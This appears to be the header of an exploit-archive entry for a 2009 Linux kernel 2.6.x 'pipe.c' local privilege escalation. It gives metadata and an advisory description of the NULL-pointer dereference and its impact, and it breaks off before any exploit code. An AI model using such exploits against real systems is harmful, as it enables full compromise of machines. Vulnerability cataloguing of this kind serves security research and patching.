Description: Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)
Type: local
Platform: linux
Date: 2009-11-03
Author: teach & xipe

Exploit:
/*
source: https://www.securityfocus.com/bid/36901/info
 
Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference.
 
Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
